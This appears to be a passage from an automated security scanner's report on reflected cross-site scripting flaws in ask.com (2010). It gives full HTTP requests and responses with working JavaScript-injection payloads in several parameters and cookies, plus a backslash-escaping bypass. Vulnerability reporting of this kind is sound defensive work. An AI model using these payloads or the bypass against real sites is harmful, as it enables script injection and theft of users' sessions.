Cookie: ldst=sorg=-1|1290271661055; __utmz=252994457.1290271572.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-bG9zK2FuZ2VsZXMraXQrY29uc3VsdGluZw..; accepting=1; wz_scnt=1; gct=; puser=pt=U2F0LTIwLU5vdi0yMDEwLTE3OjAzOjI1LVVUQw%3D%3D&po=0&pp=dir5fb41%27%3Balert%28document.cookies%29%2F%2Fd1f92dec88a; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5597|0~5488|0~5489|0~5490|1; qc=0; cu.wz=0; gcht=; wz_sid=0B45CFE073F3F30B5FA9E877A6187EDA; wz_uid=074DCFE874F3F30B5FA9E877A6187EDA; __utma=252994457.227355931.1290271572.1290271572.1290271572.1; __utmc=252994457; user="o=0&l=dir5fb41'; __utmb=252994457.2.10.1290271572;

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Date: Sat, 20 Nov 2010 18:00:41 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: ldst=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: cu.wz=0; Domain=.ask.com; Expires=Mon, 19-Nov-2012 18:00:41 GMT; Path=/
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: user="o=0&l=dir5fb41';alert(DOCUMENT.COOKIES)//d1f92dec88a"; Domain=.ask.com; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=U2F0LTIwLU5vdi0yMDEwLTE4OjAwOjQxLVVUQw%3D%3D&po=0&pp=dir5fb41%27%3Balert%28DOCUMENT.COOKIES%29%2F%2Fd1f92dec88a; Domain=.ask.com; Expires=Sun, 20-Nov-2011 18:00:41 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Sun, 20-Nov-2011 18:00:41 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 52634


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">
<html>
<head>



...[SNIP]...
ecieved= '';
google_language = '';
google_country = '';
google_encoding = 'utf8';
google_safe = 'high';
google_adtest = 'off';
google_hints = 'Ohiocd16d\\';4e4b316f914';
google_kw = 'Ohiocd16d\\';4e4b316f914';
google_kw_type = 'broad';

var oScript = document.getElementById('bannerAd_ctrScript');

oScript.setAttribute('fSecondCa
...[SNIP]...

2.4. http://www.ask.com/pictureslanding [l parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.ask.com
Path:   /pictureslanding

Issue detail

The value of the l request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5fb41'%3balert(1)//d1f92dec88a was submitted in the l parameter. This input was echoed as 5fb41';alert(1)//d1f92dec88a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /pictureslanding?o=0&l=dir5fb41'%3balert(1)//d1f92dec88a HTTP/1.1
Host: www.ask.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ldst=sorg=-1|1290271661055; __utmz=252994457.1290271572.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-bG9zK2FuZ2VsZXMraXQrY29uc3VsdGluZw..; accepting=1; wz_scnt=1; gct=; puser=pt=U2F0LTIwLU5vdi0yMDEwLTE2OjQ3OjQxLVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5597|0~5488|0~5489|0~5490|0~5491|0~5397|0; qc=0; cu.wz=0; gcht=; wz_sid=0346C8EF73F2B3A933ADE477A41477DA; wz_uid=0C41C9EC70F2B3A933ADE477A41477DA; __utma=252994457.227355931.1290271572.1290271572.1290271572.1; __utmc=252994457; user=o=0&l=dir; __utmb=252994457.2.10.1290271572;

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Date: Sat, 20 Nov 2010 16:57:00 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: cu.wz=0; Domain=.ask.com; Expires=Mon, 19-Nov-2012 16:57:00 GMT; Path=/
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: user="o=0&l=dir5fb41';alert(1)//d1f92dec88a"; Domain=.ask.com; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=U2F0LTIwLU5vdi0yMDEwLTE2OjU3OjAwLVVUQw%3D%3D&po=0&pp=dir5fb41%27%3Balert%281%29%2F%2Fd1f92dec88a; Domain=.ask.com; Expires=Sun, 20-Nov-2011 16:57:00 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Sun, 20-Nov-2011 16:57:00 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 45895


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">
<html>
<head>


<title>Im
...[SNIP]...



var _matchUrl = '/afc-match?q=&page=1&ac=24&qid=CE733406B7019A88A2CE1DFC35FAC6DE&qsrc=121&dm=all&qrt=2&lid=&o=0&l=dir5fb41';alert(1)//d1f92dec88a';


_matchUrl+= "&userip=174.122.23.218";


_matchUrl+="&losid=a&locid=ph&lodid=us";


...[SNIP]...

2.5. http://www.ask.com/pictureslanding [q parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.ask.com
Path:   /pictureslanding

Issue detail

The value of the q request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 68661\'%3bad7a82f13fb was submitted in the q parameter. This input was echoed as 68661\\';ad7a82f13fb in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.

Request

GET /pictureslanding?q=68661\'%3bad7a82f13fb&o=0&l=dir5fb41 HTTP/1.1
Host: www.ask.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ldst=sorg=-1|1290271661055; __utmz=252994457.1290271572.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-bG9zK2FuZ2VsZXMraXQrY29uc3VsdGluZw..; accepting=1; wz_scnt=1; gct=; puser=pt=U2F0LTIwLU5vdi0yMDEwLTE3OjAzOjI1LVVUQw%3D%3D&po=0&pp=dir5fb41%27%3Balert%28document.cookies%29%2F%2Fd1f92dec88a; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5597|0~5488|0~5489|0~5490|1; qc=0; cu.wz=0; gcht=; wz_sid=0B45CFE073F3F30B5FA9E877A6187EDA; wz_uid=074DCFE874F3F30B5FA9E877A6187EDA; __utma=252994457.227355931.1290271572.1290271572.1290271572.1; __utmc=252994457; user="o=0&l=dir5fb41'; __utmb=252994457.2.10.1290271572;

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: text/html;charset=UTF-8
Cache-Control: private
Date: Sat, 20 Nov 2010 17:57:37 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: ldst=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: cu.wz=0; Domain=.ask.com; Expires=Mon, 19-Nov-2012 17:57:37 GMT; Path=/
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: user=o=0&l=dir5fb41; Domain=.ask.com; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=U2F0LTIwLU5vdi0yMDEwLTE3OjU3OjM3LVVUQw%3D%3D&po=0&pp=dir5fb41; Domain=.ask.com; Expires=Sun, 20-Nov-2011 17:57:37 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Sun, 20-Nov-2011 17:57:37 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 60166


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">
<html>
<head>


<title>Im
...[SNIP]...
ds_recieved= '';
google_language = '';
google_country = '';
google_encoding = 'utf8';
google_safe = 'high';
google_adtest = 'off';
google_hints = '68661\\';ad7a82f13fb';
google_kw = '68661\\';ad7a82f13fb';
google_kw_type = 'broad';

var oScript = document.getElementById('bannerAd_ctrScript');

oScript.setAttribute('fSecondCall',
...[SNIP]...

2.6. http://www.ask.com/web [q parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.ask.com
Path:   /web

Issue detail

The value of the q request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 41f84\'%3ba552257ac42 was submitted in the q parameter. This input was echoed as 41f84\\';a552257ac42 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.

Request

GET /web?q=What+causes+brain+freeze%3F41f84\'%3ba552257ac42&gc=1&qsrc=3045&o=0&l=dir HTTP/1.1
Host: www.ask.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ldst=sorg=-1|1290271661055; __utmz=252994457.1290271572.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-bG9zK2FuZ2VsZXMraXQrY29uc3VsdGluZw..; accepting=1; wz_scnt=1; gct=; puser=pt=U2F0LTIwLU5vdi0yMDEwLTE2OjQ3OjQxLVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5597|0~5488|0~5489|0~5490|0~5491|0~5397|0; qc=0; cu.wz=0; gcht=; wz_sid=0346C8EF73F2B3A933ADE477A41477DA; wz_uid=0C41C9EC70F2B3A933ADE477A41477DA; __utma=252994457.227355931.1290271572.1290271572.1290271572.1; __utmc=252994457; user=o=0&l=dir; __utmb=252994457.2.10.1290271572;

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: text/html;charset=UTF-8
Cache-Control: private
Date: Sat, 20 Nov 2010 16:59:26 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: cu.wz=0; Domain=.ask.com; Expires=Mon, 19-Nov-2012 16:59:26 GMT; Path=/
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: qh=1-bG9zK2FuZ2VsZXMraXQrY29uc3VsdGluZw..|V2hhdCtjYXVzZXMrYnJhaW4rZnJlZXplJTNGNDFmODQlNUMlMjclM0JhNTUyMjU3YWM0Mg..; Domain=.ask.com; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=U2F0LTIwLU5vdi0yMDEwLTE2OjU5OjI2LVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Sun, 20-Nov-2011 16:59:26 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Sun, 20-Nov-2011 16:59:26 GMT; Path=/
Set-Cookie: qc=1; Domain=.ask.com; Path=/
Content-Length: 80820


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">


<html>


<head>
   

<title>Ask.com - What's Yo
...[SNIP]...
google_safe = 'medium';
google_adtest = 'off';

google_ad_section = 'default';

google_page_url = '';


google_hints = 'What causes brain freeze?41f84\\';a552257ac42';
google_kw = '';


google_kw_type = 'broad';

}else{

google_ad_client = 'aj-cat';
google_ad_channel = 'health-diseases';
googl
...[SNIP]...

2.7. http://www.ask.com/web [qid parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.ask.com
Path:   /web

Issue detail

The value of the qid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 558cb'%3balert(1)//ec1d53be65e was submitted in the qid parameter. This input was echoed as 558cb';alert(1)//ec1d53be65e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /web?q=los+angeles+it+consulting&qsrc=0&frstpgo=0&o=0&l=dir&qid=38FDBEE5438F532FB16A69B271896D79558cb'%3balert(1)//ec1d53be65e&page=2&jss= HTTP/1.1
Host: www.ask.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ldst=sorg=-1|1290271661055; __utmz=252994457.1290271572.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-bG9zK2FuZ2VsZXMraXQrY29uc3VsdGluZw..; accepting=1; wz_scnt=1; gct=; puser=pt=U2F0LTIwLU5vdi0yMDEwLTE2OjQ3OjQxLVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5597|0~5488|0~5489|0~5490|0~5491|0~5397|0; qc=0; cu.wz=0; gcht=; wz_sid=0346C8EF73F2B3A933ADE477A41477DA; wz_uid=0C41C9EC70F2B3A933ADE477A41477DA; __utma=252994457.227355931.1290271572.1290271572.1290271572.1; __utmc=252994457; user=o=0&l=dir; __utmb=252994457.2.10.1290271572;

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Date: Sat, 20 Nov 2010 17:09:11 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: cu.wz=0; Domain=.ask.com; Expires=Mon, 19-Nov-2012 17:09:11 GMT; Path=/
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: qh=1-bG9zK2FuZ2VsZXMraXQrY29uc3VsdGluZw..; Domain=.ask.com; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=U2F0LTIwLU5vdi0yMDEwLTE3OjA5OjExLVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Sun, 20-Nov-2011 17:09:11 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Sun, 20-Nov-2011 17:09:11 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 122746


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">


<html>


<head>
   

<title>Ask.com - What's Yo
...[SNIP]...
<script type="text/javascript">
var _psBack = '&#171;&#160;Prev';
var _psForward = 'Next&#160;&#187;';
var _psQueryID = '38FDBEE5438F532FB16A69B271896D79558cb';alert(1)//ec1d53be65e';
var _psQuerySource = '0';
var _psSiteID = '';
</script>
...[SNIP]...

2.8. http://www.ask.com/ [wz_uid cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.ask.com
Path:   /

Issue detail

The value of the wz_uid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4f7e1'-alert(1)-'b912a2891cb was submitted in the wz_uid cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET / HTTP/1.1
Host: www.ask.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ldst=sorg=-1|1290271661055; __utmz=252994457.1290271572.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-bG9zK2FuZ2VsZXMraXQrY29uc3VsdGluZw..; accepting=1; wz_scnt=1; gct=; puser=pt=U2F0LTIwLU5vdi0yMDEwLTE2OjQ3OjQxLVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5597|0~5488|0~5489|0~5490|0~5491|0~5397|0; qc=0; cu.wz=0; gcht=; wz_sid=0346C8EF73F2B3A933ADE477A41477DA; wz_uid=0C41C9EC70F2B3A933ADE477A41477DA4f7e1'-alert(1)-'b912a2891cb; __utma=252994457.227355931.1290271572.1290271572.1290271572.1; __utmc=252994457; user=o=0&l=dir; __utmb=252994457.2.10.1290271572;

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Date: Sat, 20 Nov 2010 16:58:17 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: cu.wz=0; Domain=.ask.com; Expires=Mon, 19-Nov-2012 16:58:17 GMT; Path=/
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=U2F0LTIwLU5vdi0yMDEwLTE2OjU4OjE3LVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Sun, 20-Nov-2011 16:58:17 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Sun, 20-Nov-2011 16:58:17 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 77334

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN"><html><head><title>Ask.com - What's Your Question?</title><meta name="description" content="Ask.com is the #1 question answering service that de
...[SNIP]...
<iframe/>');el.attr('src','http://fls.doubleclick.net/activityi;src=2903398;type=homep773;cat=ask_h504;u1=0C41C9EC70F2B3A933ADE477A41477DA4f7e1'-alert(1)-'b912a2891cb;u4=;u3=;u2=0;ord=-556541467?').attr('width','1').attr('height','1').attr('frameborder','0');$j('body').append(el);});JASK.namespace("hp.dialogs");$j(document).ready(function() {$j.each(JASK.hp.dialogs
...[SNIP]...

2.9. http://www.ask.com/about [user cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.ask.com
Path:   /about

Issue detail

The value of the user cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e19b3'-alert(1)-'4d5b7994e21 was submitted in the user cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /about HTTP/1.1
Host: www.ask.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ldst=sorg=-1|1290271661055; __utmz=252994457.1290271572.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-bG9zK2FuZ2VsZXMraXQrY29uc3VsdGluZw..; accepting=1; wz_scnt=1; gct=; puser=pt=U2F0LTIwLU5vdi0yMDEwLTE2OjQ3OjQxLVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5597|0~5488|0~5489|0~5490|0~5491|0~5397|0; qc=0; cu.wz=0; gcht=; wz_sid=0346C8EF73F2B3A933ADE477A41477DA; wz_uid=0C41C9EC70F2B3A933ADE477A41477DA; __utma=252994457.227355931.1290271572.1290271572.1290271572.1; __utmc=252994457; user=o=0&l=dire19b3'-alert(1)-'4d5b7994e21; __utmb=252994457.2.10.1290271572;

Response (redirected)

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Date: Sat, 20 Nov 2010 17:10:50 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: cu.wz=0; Domain=.ask.com; Expires=Mon, 19-Nov-2012 17:10:50 GMT; Path=/
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=U2F0LTIwLU5vdi0yMDEwLTE3OjEwOjUwLVVUQw%3D%3D&po=0&pp=dire19b3%27-alert%281%29-%274d5b7994e21; Domain=.ask.com; Expires=Sun, 20-Nov-2011 17:10:50 GMT; Path=/
Set-Cookie: jss=0; Domain=.ask.com; Expires=Sun, 20-Nov-2011 17:10:50 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Sun, 20-Nov-2011 17:10:50 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 102731


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">
<html>
<head>
<title>About Ask.com</title>
<link href="http://www.ask.com/inc/css/lib/yui/reset-fonts-grids_r2.8.css" type="text/css" rel="sty
...[SNIP]...
<script type="text/javascript">
var qstr = 'q=&o=0&l=dire19b3'-alert(1)-'4d5b7994e21&jss=1';
window.location = 'http://www.ask.com/about?'+ qstr;
</script>
...[SNIP]...

2.10. http://www.ask.com/ans [wz_uid cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.ask.com
Path:   /ans

Issue detail

The value of the wz_uid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7d0a4'-alert(1)-'33276c18830 was submitted in the wz_uid cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /ans?qsrc=&o=0&l=dir5fb41 HTTP/1.1
Host: www.ask.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ldst=sorg=-1|1290271661055; __utmz=252994457.1290271572.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-bG9zK2FuZ2VsZXMraXQrY29uc3VsdGluZw..; accepting=1; wz_scnt=1; gct=; puser=pt=U2F0LTIwLU5vdi0yMDEwLTE3OjAzOjI1LVVUQw%3D%3D&po=0&pp=dir5fb41%27%3Balert%28document.cookies%29%2F%2Fd1f92dec88a; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5597|0~5488|0~5489|0~5490|1; qc=0; cu.wz=0; gcht=; wz_sid=0B45CFE073F3F30B5FA9E877A6187EDA; wz_uid=074DCFE874F3F30B5FA9E877A6187EDA7d0a4'-alert(1)-'33276c18830; __utma=252994457.227355931.1290271572.1290271572.1290271572.1; __utmc=252994457; user="o=0&l=dir5fb41'; __utmb=252994457.2.10.1290271572;

Response (redirected)

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Date: Sat, 20 Nov 2010 18:02:19 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: ldst=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: cu.wz=0; Domain=.ask.com; Expires=Mon, 19-Nov-2012 18:02:19 GMT; Path=/
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: user=o=0&l=dir5fb41; Domain=.ask.com; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=U2F0LTIwLU5vdi0yMDEwLTE4OjAyOjE5LVVUQw%3D%3D&po=0&pp=dir5fb41; Domain=.ask.com; Expires=Sun, 20-Nov-2011 18:02:19 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Sun, 20-Nov-2011 18:02:19 GMT; Path=/
